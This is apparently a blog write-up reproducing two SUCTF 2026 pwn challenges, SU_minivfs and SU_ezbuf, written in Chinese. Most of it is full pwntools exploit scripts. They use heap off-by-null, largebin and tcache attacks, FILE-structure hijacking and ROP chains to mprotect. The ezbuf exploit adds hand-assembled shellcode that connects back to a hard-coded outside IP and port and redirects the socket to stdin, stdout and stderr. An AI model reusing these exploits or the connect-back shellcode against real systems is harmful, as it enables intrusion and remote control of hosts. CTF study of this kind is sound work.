SUCTF-2026-复现记录

SU_minivfs

write函数里面存在混淆,把混淆nop掉之后就发现存在一个off_by_null的溢出问题,后面就是常规的攻击mp_结构体打IO就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from itertools import product

ip="localhost"
port=8080

p=getProcess(ip,port,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.41-6ubuntu1.2_amd64/libc.so.6")


cmd = """

b printf
b *$rebase(0x0000000000001C35)
"""

def __hash_algo(path: bytes):
    v2 = 0x811c9dc5
    for c in path:
        v2 = (v2 ^ c)
        v2 = (v2 * 0x1000193) & 0xFFFFFFFF
    t1 = ((v2 >> 16) ^ v2) & 0xFFFFFFFF
    t2 = (t1 * 0x7feb352d) & 0xFFFFFFFF
    t3 = ((t2 >> 15) ^ t2) & 0xFFFFFFFF
    v4 = (t3 * 0x846ca68b) & 0xFFFFFFFF
    slot = ((v4 >> 16) ^ v4) & 0xFFFFFFFF
    idx = slot & 0xF
    auth = str(slot ^ 0xA5A5A5A5).encode()
    return idx, auth

# 预计算 0~15 这 16 个 index 所对应的合法 path 和哈希认证码
idx_map = {}
counter = 0
while len(idx_map) < 16:
    test_path = f"file{counter}".encode()
    idx, auth = __hash_algo(test_path)
    if idx not in idx_map:
        idx_map[idx] = (test_path, auth)
    counter += 1

def add(idx: int, size: int):
    path, auth = idx_map[idx]
    p.sendlineafter(b"vfs> ", b"touch " + path + b" " + str(size).encode() + b" " + auth)

def dele(idx: int):
    path, auth = idx_map[idx]
    p.sendlineafter(b"vfs> ", b"rm " + path + b" " + auth)

def show(idx: int):
    path, auth = idx_map[idx]
    p.sendlineafter(b"vfs> ", b"cat " + path + b" " + auth)

def edit(idx: int, data: bytes):
    path, auth = idx_map[idx]
    p.sendlineafter(b"vfs> ", b"write " + path + b" " + str(len(data)).encode() + b" " + auth)
    p.sendafter(b"bytes) > ", data)

def ls():
    p.sendlineafter(b"vfs> ", b"ls")

add(0,0x420)
add(1,0x420)
dele(0)
add(0,0x430)
dele(0)
add(0,0x420)
show(0)

lb=uu64(rc(6))-(0x7fbe94003f10-0x7fbe93e00000)-(0x70b717c0d000-0x70b717c00000)
rc(0x10-6)
hb=uu64(rc(6))-(0x60b846b21290-0x60b846b21000)

print("libc_base=",hex(lb))
print("heap_base=",hex(hb))

##准备制造堆块重叠来攻击mp_结构体
'''
pwndbg> p mp_
$1 = {
  trim_threshold = 131072,
  top_pad = 131072,
  mmap_threshold = 131072,
  arena_test = 8,
  arena_max = 0,
  thp_pagesize = 0,
  hp_pagesize = 0,
  hp_flags = 0,
  n_mmaps = 0,
  n_mmaps_max = 65536,
  max_n_mmaps = 0,
  no_dyn_threshold = 0,
  mmapped_mem = 0,
  max_mmapped_mem = 0,
  sbrk_base = 0x61b89d5cc000 "",
  tcache_bins = 64,
  tcache_max_bytes = 1032,
  tcache_count = 7,
  tcache_unsorted_limit = 0
}
pwndbg> p &mp_
$2 = (struct malloc_par *) 0x7dd075c10180 <mp_>
pwndbg> libc
libc : 0x7dd075a00000
'''
dele(0)
dele(1)
#制造堆叠
add(0,0x448)
add(1,0x418)
add(2,0x4f0)
add(3,0x430)
add(4,0x418)

pl1=p64(0)+p64(0x861)+p64(hb+0x2a0)*2
edit(0,pl1)
pl2=p64(0)
pl2=pl2.ljust(0x410,b'\0')
pl2+=p64(0x860)
edit(1,pl2)

dele(2)

#打largebin_attack
add(5,0x438)#堆块重叠
add(6,0x418)#堆块重叠
add(2,0x4f0)
dele(0)
add(7,0x4f0)
dele(7)

pl3=p64(hb+0x290)+p64(lb+0x210180+0x68-0x20)+p64(0)*2
edit(5,pl3)


dele(3)
add(7,0x4f0)
print('mp_',hex(lb+0x210180))

dele(4)
dele(1)
pl4=p64(((hb+0x6f0)>>12)^(lb+libc.sym["_IO_2_1_stdout_"]))
edit(6,pl4)
rdi=lb+0x0000000000119e9c
binsh=lb+next(libc.search('/bin/sh'))
system=lb+libc.sym['system']
rsi=lb+0x000000000011b07d
rax=lb+0x00000000000e4e97
rdx=lb+0x000000000009e68d #pop rdx ; leave ; ret
rbp=lb+0x0000000000028a20
ropchain=p64(rdi)+p64(hb)+p64(rsi)+p64(0x1000)+p64(rbp)+p64(hb+0x2f0-8)+p64(rdx)+p64(7)+p64(lb+libc.sym["mprotect"])+p64(hb+0x300)
shellcode=shellcraft.open('./flag')+shellcraft.read('rax',hb,0x100)+shellcraft.write(1,hb,0x100)
ropchain+=asm(shellcode)
edit(5,ropchain)

##后续直接打IO就好

add(8,0x418)
add(9,0x418)

libc_base=lb
heap_addr=hb+0x2b0-8
stdout_addr=lb+libc.sym["_IO_2_1_stdout_"]
pop_rbp=lb+0x0000000000028a20
leave_ret=lb+0x0000000000029b3f
magic=lb+0x000000000018202e #mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
movrsp_rdx=lb+0x0000000000062d7f

file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr#这个地址控制好为我们的rop链
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = movrsp_rdx
file1._IO_write_end = 0
file1._IO_buf_base = stdout_addr+8
file1._lock = heap_addr - 0xc30
file1.chain = magic    
# call addr 经过这个leave ret 回到 
'''
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x470 - 8
file1._IO_read_base = leave_ret
'''
# 经过这个回到heap_addr + 0x470 , 进行payload
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

payload=bytes(file1)


print('magic=',hex(magic))

edit(9,payload)


ita()

SU_ezbuf

没学过这个事件处理函数,正好乘此机会来学习一下,程序的大体逻辑是接收网络数据,打包加上 IP 和 Hostname 然后回传

main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int fd;                  // 用于保存创建出来的 UDP socket 文件描述符
  __int64 v5;              // 用于保存 event_new 返回的事件对象指针
  struct sockaddr addr;    // UDP 绑定地址;反编译器没有还原成更准确的 sockaddr_in
  _QWORD v7[4];            // 这里被当作一块原始内存来构造 TCP 监听地址

  v7[3] = __readfsqword(0x28u);

  // 初始化沙箱环境
  sandbox();

  // 创建 libevent 的事件循环基座(event base)
  // 注意:标准 libevent 的 event_base_new 一般不带参数,
  // 这里大概率是反编译器把函数原型识别错了
  g_event_base = event_base_new(a1, (__int64)a2);

  // 将全局 UDP 上下文结构清零
  // 大小为 0x70 字节,后续会作为参数传给 udp_read_cb
  memset(&g_udp_ctx, 0, 0x70u);

  // 创建一个 IPv4 UDP socket
  // socket(AF_INET, SOCK_DGRAM, 0)
  fd = socket(2, 2, 0);

  // 构造 UDP 绑定地址
  //
  // 这几句本质上是在手工填写 sockaddr_in 的内存布局:
  //   sin_family = AF_INET
  //   sin_port   = htons(8889)
  //   sin_addr   = INADDR_ANY
  //
  *(_QWORD *)&addr.sa_family = 2;          // 地址族 = AF_INET
  *(_QWORD *)&addr.sa_data[6] = 0;         // 后面的字段清零
  *(_WORD *)addr.sa_data = htons(0x22B9u); // 端口号 = 0x22B9 = 8889(网络字节序)

  // 将 UDP socket 绑定到本地地址
  // 长度 0x10 = 16,正好对应 IPv4 的 sockaddr_in 结构大小
  // 实际效果相当于绑定到 0.0.0.0:8889
  bind(fd, &addr, 0x10u);

  // 初始化一个全局标志位
  // 从名字看,含义可能是“当前 UDP 上下文不是 TCP”
  // 具体用途需要结合其他代码进一步分析
  g_udp_is_tcp = 0;

  // 把 UDP socket 保存到全局变量,方便后续其他函数访问
  g_udp_fd = fd;

  // 为 UDP socket 创建一个 libevent 事件对象
  //
  // 参数含义大致为:
  //   g_event_base : 事件循环基座
  //   fd           : 监听的 socket
  //   18           : 事件类型,18 = 0x12 = EV_READ | EV_PERSIST
  //                  表示“可读事件 + 持久事件”
  //   udp_read_cb  : 当 socket 可读时调用的回调函数
  //   &g_udp_ctx   : 传递给回调函数的用户上下文
  //
  // 也就是说,只要 UDP socket 上收到数据,就会反复调用 udp_read_cb
  v5 = event_new(
         g_event_base,
         fd,
         18,
         (__int64 (__fastcall *)())udp_read_cb,
         &g_udp_ctx);

  // 将刚刚创建的 UDP 事件加入事件循环
  // 第二个参数为 0,表示不设置超时时间
  event_add(v5, 0);

  // 构造 TCP 监听地址
  //
  // 这里 v7 被当作 sockaddr_in 的原始内存使用:
  //   sin_family = AF_INET
  //   sin_port   = htons(8888)
  //   sin_addr   = INADDR_ANY
  v7[0] = 2;                       // AF_INET
  v7[1] = 0;                       // 其余地址字段清零,相当于 INADDR_ANY
  WORD1(v7[0]) = htons(0x22B8u);   // 端口号 = 0x22B8 = 8888(网络字节序)

  // 创建并绑定一个 TCP 监听器
  //
  // 参数大致含义:
  //   g_event_base      : 事件循环基座
  //   tcp_listener_cb   : 当有新的 TCP 连接到来时调用的回调函数
  //   0                 : 用户自定义参数,传给回调,这里为 NULL
  //   10                : listener 的 flag,通常表示一些行为选项
  //                       例如地址复用、释放时自动关闭 fd 等
  //   0xFFFFFFFFLL      : backlog = -1,通常表示使用默认 backlog
  //   v7                : 绑定地址
  //   16                : 地址结构长度(sockaddr_in 大小)
  //
  // 实际效果:监听 0.0.0.0:8888,当有新连接时调用 tcp_listener_cb
  evconnlistener_new_bind(
      g_event_base,
      (__int64 (__fastcall *)())tcp_listener_cb,
      0,
      10,
      0xFFFFFFFFLL,
      v7,
      16);

  // 启动 libevent 的事件分发循环
  //
  // 从这里开始,程序进入事件驱动模式,不再顺序往下执行主要业务逻辑,
  // 而是持续等待并分发以下事件:
  //   1. UDP socket 收到数据 -> 调用 udp_read_cb
  //   2. TCP 监听 socket 收到新连接 -> 调用 tcp_listener_cb
  event_base_dispatch(g_event_base);

  // 正常情况下,只有事件循环退出后才会执行到这里
  return 0;
}

process_msg函数

unsigned __int64 __fastcall process_msg(__int64 dest, _BYTE *src, int n, const struct sockaddr *addr)
{
  __int64 v4;             // 临时变量:用于搬运 hostname 溢出区域中的 8 字节数据
  __int64 v5;             // 同上
  __int64 v6;             // 同上
  __int64 v7;             // 同上
  _QWORD *s;              // 指向新分配的 0x50(80) 字节堆缓冲区,作为待发送的数据包
  __int64 output;         // bufferevent 的输出缓冲区指针
  char name[8];           // 本地 hostname 缓冲区(⚠️ 只有 8 字节)
  __int64 v14;            // 紧邻 name 的栈变量,会被 gethostname 覆盖
  __int64 v15;            // 同上
  __int64 v16;            // 同上
  __int64 v17;            // 同上
  __int64 v18;            // 同上
  __int64 v19;            // 同上
  __int64 v20;            // 同上
  unsigned __int64 v21;   

  v21 = __readfsqword(0x28u);

  // 只有接收到的数据长度大于 0 才继续处理
  if ( n > 0 )
  {
    // 在收到的数据末尾补一个 '\0'
    // 这样就能把 src 当作 C 字符串使用
    //
    // 这里的意图很明显:后面要把 src 传给 inet_pton,
    // 而 inet_pton 需要的是字符串形式的 IP 地址,例如 "127.0.0.1"
    src[n] = 0;

    // 在堆上申请 0x50 = 80 字节缓冲区
    // 这块内存后面会被组织成一个响应数据块
    s = malloc(0x50u);

    // 只有申请成功才继续
    if ( s )
    {
      // 将这 80 字节清零,避免未初始化数据影响后续逻辑
      memset(s, 0, 0x50u);

      // 尝试把用户输入 src 解释为 IPv4 地址字符串
      //
      // 参数含义:
      //   2          -> AF_INET
      //   src        -> 输入字符串,例如 "1.2.3.4" 会被解析为01020304(大端)
      //   (char *)s+4-> 解析成功后,把 4 字节二进制 IP 写到 s+4 的位置
      //
      // 如果解析成功,返回非 0;失败返回 0
      if ( inet_pton(2, src, (char *)s + 4) )
      {
        // 将响应块开头的 2 字节设置为 AF_INET
        //
        // 也就是说,s 这块数据的前面几个字节看起来像:
        //   offset 0x00: sa_family / sin_family = AF_INET
        //   offset 0x04: IPv4 地址(由 inet_pton 写入)
        //
        *(_WORD *)s = 2;

        // 获取本机主机名
        //
        //   这里有明显漏洞:
        //   name 只有 8 字节
        //   但 gethostname 允许最多写 0x40 = 64 字节
        //
        // 如果 hostname 长于 7 字节,就会发生栈溢出,
        // 覆盖 name 后面的 v14 ~ v20,甚至可能继续覆盖 canary。
        gethostname(name, 0x40u);

        // 下面这一大段赋值,本质上是在把从 name 开始的连续 64 字节
        // 拷贝到 s[2] ~ s[9] 这 8 个 QWORD 位置上。
        //
        // 因为:
        //   s[2] ~ s[9] 共 8 * 8 = 64 字节
        //   刚好对应 gethostname(name, 0x40) 想写入的 64 字节区域
        //
        // 换句话说,这里相当于做了:
        //   memcpy((char *)s + 0x10, name, 0x40);
        //
        // 只是由于编译器优化 / 反编译效果,变成了手工逐块搬运。
        v4 = v14;
        s[2] = *(_QWORD *)name; // 拷贝 [name + 0x00, name + 0x07]
        s[3] = v4;              // 拷贝 [name + 0x08, name + 0x0F]

        v5 = v16;
        s[4] = v15;             // 拷贝 [name + 0x10, name + 0x17]
        s[5] = v5;              // 拷贝 [name + 0x18, name + 0x1F]

        v6 = v18;
        s[6] = v17;             // 拷贝 [name + 0x20, name + 0x27]
        s[7] = v6;              // 拷贝 [name + 0x28, name + 0x2F]

        v7 = v20;
        s[8] = v19;             // 拷贝 [name + 0x30, name + 0x37]
        s[9] = v7;              // 拷贝 [name + 0x38, name + 0x3F]

        // 将用户输入 src 原样复制到 dest 指向的位置
        //
        // 这里的 dest 在上游实际上来源于 &g_udp_ctx,
        // 也就是说,这句本质上相当于:
        //   memcpy(&g_udp_ctx, src, n);
        // 如果 n > 0x70,就会发生越界写,越界覆盖到g_udp_is_tcp等变量上面
        // 覆盖 g_udp_ctx 后面的全局/静态内存。
        memcpy((void *)dest, src, n);

        // 检查上下文中的状态:
        //   dest + 32 处的 4 字节字段是否为 1
        //   dest + 40 处的 8 字节字段是否非空
        //
        // 从语义上看:
        //   *(int *)(dest + 32)   很可能是 “当前是否走 TCP 模式”
        //   *(void **)(dest + 40) 很可能是 bufferevent *
        if ( *(_DWORD *)(dest + 32) == 1 && *(_QWORD *)(dest + 40) )
        {
          // 如果处于 TCP 模式,则取出 bufferevent 的输出缓冲区
          output = bufferevent_get_output(*(_QWORD *)(dest + 40));

          // 将 s 这块 80 字节数据“按引用”加入输出缓冲区
          //
          // 注意:这里不是拷贝数据,而是引用现有堆块 s
          // 所以必须提供一个释放回调 sub_1381,
          // 以便等数据真正发送完之后再释放 s
          evbuffer_add_reference(output, s, 80, (__int64 (__fastcall *)())sub_1381, 0);
        }
        else
        {
          // 如果不处于 TCP 模式,则通过 UDP 发回去
          //
          // 参数解释:
          //   *(int *)(dest + 48) -> 发送用的 UDP socket fd
          //   s                   -> 待发送的数据
          //   0x50                -> 发送 80 字节
          //   addr                -> 原始发送方地址
          //   0x10                -> sockaddr_in 长度 16 字节
          //
          // 也就是说:
          //   把构造好的响应包通过 UDP 回发给请求者
          sendto(*(_DWORD *)(dest + 48), s, 0x50u, 0, addr, 0x10u);

          // UDP 分支里 sendto 返回后,这块堆内存就不再需要,立即释放
          free(s);
        }
      }
      else
      {
        // 如果 src 不是合法的 IPv4 字符串,
        // inet_pton 解析失败,则释放申请的堆块
        free(s);
      }
    }
  }
  return v21 - __readfsqword(0x28u);
}

漏洞点:

发送数据的时候存在栈上变量的残留的泄露问题,利用这里的信息泄露和对全局变量的覆盖就好,但是有个点很遗憾,我的电脑上面的libc 相对 libevent的偏移不是固定偏移,所以这里只能去使用SUCTF的docker 来完成这一道题目,这里我是发送 TCP 包来实现覆盖的同时触发 evbuffer_add_reference,触发伪造的 bufferevent 中的回调函数劫持控制流

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
import struct, socket


ip="localhost"
port_tcp = 8888
port_udp = 8889
docker_restart("su_evbuffer_run", wait=0.5)

io_tcp=remote(ip,port_tcp)
io_udp=remote(ip,port_udp,typ='udp')

context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")

reverse_ip = "8.137.79.57"
reverse_port = 7777
sockaddr_val = hex(u64(struct.pack('<H', 2) + struct.pack('>H', reverse_port) + socket.inet_aton(reverse_ip)))


cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu9.9_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
dir /home/alpha/CTF/PWN/practise/XCTF/SUCTF/2026/SU_evbuffer/libevent-release-2.1.7-rc
b *$rebase(0x00000000000014D6)
"""

io_tcp.send(b"1.1.1.1")
leak_data = io_tcp.recv(0x50)
hb = u64(leak_data[0x28:0x30])
print("heap: " + hex(hb))
lb = u64(leak_data[0x48:0x50])-0x25cb1a
print("libc_base: " + hex(lb))
libevent=u64(leak_data[0x48:0x50])-0x13b1a
print("libevent_base: " + hex(libevent))
# 或者在打容器题目时:
io_udp.send(b"1.1.1.1")
leak_data = io_udp.recv(0x50)
pie=u64(leak_data[0x48:0x50])-(0x5eefa4670619-0x5eefa466f000)
print("pie_base=",hex(pie))
canary=u64(leak_data[0x28:0x30])
print("canary=",hex(canary))


fake_bufferevent_addr=pie+0x40c0
next_ptr=0
rop_chain=lb+0x000000000005a120
fake_bufferevent=p64(0)*2+p64(fake_bufferevent_addr)
fake_bufferevent+=p64(pie+0x41e0-0x50)#v8 rdx
fake_bufferevent+=p64(2)#v6 
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(0)
fake_bufferevent=fake_bufferevent.ljust(0x78,b'\x00')
fake_bufferevent+=p64(fake_bufferevent_addr+0x80)
fake_bufferevent+=p64(next_ptr)
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(rop_chain)
fake_bufferevent+=p64(0)
fake_bufferevent+=p64(0x40001)
fake_bufferevent=fake_bufferevent.ljust(0x118,b'\x00')
fake_bufferevent+=p64(fake_bufferevent_addr)
# fake_bufferevent+=p64(0)*2
# fake_bufferevent+=p64(fake_bufferevent_addr)


rdi=lb+0x000000000002a3e5
rsi=lb+0x000000000002be51
rdx_r12=lb+0x000000000011f367
rop_chain=p64(rdi)+p64(pie+0x4000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(lb+libc.sym["mprotect"])
rop_chain+=p64(pie+0x4228)

shellcode=asm(f'''
    ;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    xor esi, esi
    mul rsi
    inc esi
    mov edi, esi
    inc edi
    mov al, 41 ;// SYS_socket
    syscall

    ;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
    mov edi, eax
    mov rbx, {sockaddr_val} ;// IP={reverse_ip} Port={reverse_port}
    push rbx
    mov rsi, rsp
    mov dl, 16
    mov al, 42 ;// SYS_connect
    syscall

    ;// dup2(soc, 0)
    xor esi, esi
    mov al, 33 ;// SYS_dup2
    syscall

    ;// dup2(soc, 1)
    inc esi
    mov al, 33 ;// SYS_dup2
    syscall

    ;// dup2(soc, 2)
    inc esi
    mov al, 33 ;// SYS_dup2
    syscall

    
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
''')
rop_chain+=shellcode
payload=b'1.1.1.1'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(1)
payload+=p64(fake_bufferevent_addr)
payload+=p64(0)
payload+=p64(hb-0x8b0)
payload+=p64(0)
payload+=fake_bufferevent
payload+=rop_chain

print('magic=',hex(lb+0x000000000005a120))
print('call_r8=',hex(libevent+0x000000000000EFF2))
print('v8 = *(_QWORD *)(a1 + 24);=',hex(libevent+0x000000000000EFBE))
print('if ( (v10 & 0x40000) != 0 )=',hex(libevent+0x000000000000F01B))
print('v11 = (void (__fastcall *)(__int64, _QWORD, __int64, _QWORD))v9[2];=',hex(libevent+0x000000000000F013))
print('v10 = *((_DWORD *)v9 + 8);',hex(libevent+0x000000000000F000))
docker_attach("su_evbuffer_run", "pwn", cmd)
io_tcp.send(payload)




io_udp.interactive()


SUCTF-2026-复现记录
https://a1b2rt.cn//archives/suctf-2026-fu-xian-ji-lu
作者
A1b2rt
发布于
2026年04月06日
许可协议